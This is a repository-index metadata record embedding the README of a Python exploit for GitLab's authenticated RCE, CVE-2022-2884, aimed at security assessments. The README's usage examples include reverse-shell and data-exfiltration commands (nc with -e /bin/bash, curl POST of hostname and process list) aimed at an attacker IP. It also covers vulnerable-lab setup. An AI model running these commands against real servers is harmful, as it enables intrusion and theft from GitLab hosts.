{"id":20012769,"url":"https://github.com/m3ssap0/gitlab_rce_cve-2022-2884","last_synced_at":"2025-06-25T03:36:18.135Z","repository":{"id":178595585,"uuid":"581263876","full_name":"m3ssap0/gitlab_rce_cve-2022-2884","owner":"m3ssap0","description":"Exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884.","archived":false,"fork":false,"pushed_at":"2022-12-26T09:49:16.000Z","size":71,"stargazers_count":25,"open_issues_count":0,"forks_count":5,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-08T12:13:42.807Z","etag":null,"topics":["cve-2022-2884","exploit","gitlab","security","security-tools","vulnerability","vulnerability-scanners"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"unlicense","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/m3ssap0.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-12-22T17:52:26.000Z","updated_at":"2024-12-27T03:00:50.000Z","dependencies_parsed_at":null,"dependency_job_id":"4bcc98c5-ccb7-40fd-b27e-6685c44252cf","html_url":"https://github.com/m3ssap0/gitlab_rce_cve-2022-2884","commit_stats":null,"previous_names":["m3ssap0/gitlab_rce_cve-2022-2884"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m3ssap0%2Fgitlab_rce_cve-2022-2884","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m3ssap0%2Fgitlab_rce_cve-2022-2884/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m3ssap0%2Fgitlab_rce_cve-2022-2884/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m3ssap0%2Fgitlab_rce_cve-2022-2884/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/m3ssap0","download_url":"https://codeload.github.com/m3ssap0/gitlab_rce_cve-2022-2884/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":252404134,"owners_count":21742503,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2022-2884","exploit","gitlab","security","security-tools","vulnerability","vulnerability-scanners"],"created_at":"2024-11-13T07:33:10.299Z","updated_at":"2025-05-04T21:31:38.541Z","avatar_url":"https://github.com/m3ssap0.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# gitlab_rce_cve-2022-2884\n\nThis is a Python3 program that exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884.\n\n## DISCLAIMER\n\n**This tool is intended for security engineers and appsec people for security assessments. Please use this tool responsibly. I do not take responsibility for the way in which any one uses this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.**\n\n## Vulnerability info\n\n* **CVE-ID**: CVE-2022-2884\n* **Link**: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884)\n* **Description**: A vulnerability in GitLab CE/EE affecting all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 15.3 to 15.3 to 15.3.1 allows an authenticated user to achieve remote code execution via the Import from GitHub API endpoint.\n* **Vendor link**: [https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/](https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/)\n\n## Help\n\n```\n$ ./gitlab_rce_cve-2022-2884.py --help\nusage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v]\n\nExploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - v1.0 (2022-12-25)\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u URL, --url URL     URL of the victim GitLab\n  -pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN\n                        private token of GitLab\n  -tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE\n                        target namespace of GitLab (default is 'root')\n  -a ADDRESS, --address ADDRESS\n                        IP address of the attacker machine\n  -p PORT, --port PORT  TCP port of the attacker machine (default is 1337)\n  -s, --https           set if the attacker machine is exposed via HTTPS\n  -c COMMAND, --command COMMAND\n                        the command to execute\n  -d DELAY, --delay DELAY\n                        seconds of delay to wait for the exploit to complete\n  -v, --verbose         verbose mode\n```\n\n## Examples\n\n```\n./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt \"glpat-YourGitLabPrivateToken\" -a 1.2.3.4 -c \"id | nc 1.2.3.4 6669\"\n```\n\n```\n./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt \"glpat-YourGitLabPrivateToken\" -a 1.2.3.4 -c \"nc 1.2.3.4 6669 -e /bin/bash\"\n```\n\n```\n./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt \"glpat-YourGitLabPrivateToken\" -a 1.2.3.4 -c \"(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- \"\n```\n\n```\n./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt \"glpat-YourGitLabPrivateToken\" -a 1.2.3.4 -c \"echo 'test' \u003e /tmp/test\"\n```\n\n```\n./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt \"glpat-YourGitLabPrivateToken\" -a 1.2.3.4 -c \"nc 1.2.3.4 6669 -e /bin/bash\" -d 180\n```\n\n```\n./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt \"glpat-YourGitLabPrivateToken\" -a 1.2.3.4 -p 1337 -c \"nc 1.2.3.4 6669 -e /bin/bash\"\n```\n\n```\n./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt \"glpat-YourGitLabPrivateToken\" -tn root -a 1.2.3.4 -p 1337 -s -c \"nc 1.2.3.4 6669 -e /bin/bash\"\n```\n\n## Vulnerable application\n\nA vulnerable application can be setup with the following commands.\n\n```\nexport GITLAB_HOME=/srv/gitlab\ndocker run --detach --rm \\\n           --hostname gitlab.example.com \\\n           --publish 443:443 --publish 80:80 --publish 22:22 \\\n           --name vuln-gitlab \\\n           --volume $GITLAB_HOME/config:/etc/gitlab \\\n           --volume $GITLAB_HOME/logs:/var/log/gitlab \\\n           --volume $GITLAB_HOME/data:/var/opt/gitlab \\\n           --shm-size 256m \\\n           gitlab/gitlab-ce:15.3.0-ce.0\n```\n\nIt might take a while before the Docker container starts to respond to queries. Then connect to `http://localhost`.\n\nSign in with the username `root` and the password from the following command.\n\n```\ndocker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password\n```\n\nTo test the exploit locally, you have to add `--network=\"host\"` to the `docker run` command and to remove constraints for outbound requests on GitLab:\n* connect to [http://localhost/admin/application_settings/network](http://localhost/admin/application_settings/network);\n* expand \"*Outbound requests*\" section;\n* tick \"*Allow requests to the local network from web hooks and services*\";\n* add `127.0.0.1` to the \"*Local IP addresses and domain names that hooks and services may access*\" textbox;\n* save changes.\n\nThe prerequisite of the exploit is to have a private token on GitLab:\n* connect to [http://localhost/-/profile/personal_access_tokens](http://localhost/-/profile/personal_access_tokens);\n* generate a token with at least `api` scope.\n\n## Authors\n\n* **Antonio Francesco Sardella** - *main implementation* - [m3ssap0](https://github.com/m3ssap0)\n\n## License\n\nSee the [LICENSE](LICENSE) file for details.\n\n## Acknowledgments\n\n* [yvvdwf](https://hackerone.com/reports/1672388), the security researcher who discovered the vulnerability.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fm3ssap0%2Fgitlab_rce_cve-2022-2884","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fm3ssap0%2Fgitlab_rce_cve-2022-2884","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fm3ssap0%2Fgitlab_rce_cve-2022-2884/lists"}